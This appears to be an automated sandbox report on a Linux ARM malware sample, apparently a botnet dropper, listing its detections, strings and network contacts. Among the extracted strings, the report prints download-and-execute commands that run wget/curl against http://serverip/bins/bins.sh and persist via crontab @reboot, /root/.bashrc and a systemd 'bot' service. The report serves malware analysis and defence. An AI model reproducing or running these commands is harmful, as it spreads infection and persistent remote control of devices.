Linux Analysis Report
arm7.elf

Overview

General Information

Sample name: arm7.elf
Analysis ID: 1558944
MD5: 90337fe04cae0de9874bcdf2e04426d1
SHA1: d7e3b11dbf5004e2bb4ad7cabcda8b907e822125
SHA256: 329894206c4f4d8cea0da6ff75b98dbad800ae577acb1635b288afc61147f014
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Executes the "crontab" command typically for achieving persistence
Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions
Sample tries to persist itself using cron
Creates hidden files and/or directories
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm7.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm7.elf ReversingLabs: Detection: 36%
Found strings indicative of a multi-platform dropper
Source: arm7.elf String: /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv7l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetdx
Source: arm7.elf String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: arm7.elf String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") | crontab -/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: .bashrc.13.dr String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: bot.service.13.dr String: ExecStart=/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Reads the 'hosts' file potentially containing internal network hosts
Source: /bin/curl (PID: 5872) Reads hosts file: /etc/hosts Jump to behavior
Sample listens on a socket
Source: /tmp/arm7.elf (PID: 5851) Socket: 127.0.0.1:4161 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: host.zopz-api.com
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: tmp.E7p8s1.23.dr String found in binary or memory: http://serverip/bins/bins.sh
Source: bot.service.13.dr String found in binary or memory: http://serverip/bins/bins.sh;
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv7l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetdx
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal68.troj.linELF@0/4@3/0

Persistence and Installation Behavior
barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/sh (PID: 5868) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 5869) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions
Source: /tmp/arm7.elf (PID: 5853) File written: /root/.bashrc Jump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 5869) File: /var/spool/cron/crontabs/tmp.E7p8s1 Jump to behavior
Source: /usr/bin/crontab (PID: 5869) File: /var/spool/cron/crontabs/root Jump to behavior
Creates hidden files and/or directories
Source: /tmp/arm7.elf (PID: 5853) File: /root/.bashrc Jump to behavior
Source: /bin/curl (PID: 5872) Directory: /root/.curlrc Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm7.elf (PID: 5861) Shell command executed: /bin/sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -" Jump to behavior
Source: /tmp/arm7.elf (PID: 5878) Shell command executed: /bin/sh -c "/bin/systemctl enable bot" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5870) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Source: /bin/sh (PID: 5877) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5883) Systemctl executable: /bin/systemctl -> /bin/systemctl enable bot Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm7.elf (PID: 5851) Queries kernel information via 'uname': Jump to behavior
Source: /bin/curl (PID: 5872) Queries kernel information via 'uname': Jump to behavior
Source: arm7.elf, 5851.1.00005563894b8000.000055638960c000.rw-.sdmp, arm7.elf, 5853.1.00005563894b8000.000055638960c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.elf, 5851.1.00005563894b8000.000055638960c000.rw-.sdmp, arm7.elf, 5853.1.00005563894b8000.000055638960c000.rw-.sdmp Binary or memory string: cU!/etc/qemu-binfmt/arm
Source: arm7.elf, 5851.1.00007ffdc751c000.00007ffdc753d000.rw-.sdmp, arm7.elf, 5853.1.00007ffdc751c000.00007ffdc753d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm7.elf, 5851.1.00007ffdc751c000.00007ffdc753d000.rw-.sdmp, arm7.elf, 5853.1.00007ffdc751c000.00007ffdc753d000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.elf
Source: arm7.elf, 5853.1.00007ffdc751c000.00007ffdc753d000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.111.38.48
 host.zopz-api.com Reserved
54540 INCERO-HVVCUS false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true
host.zopz-api.com 172.111.38.48 true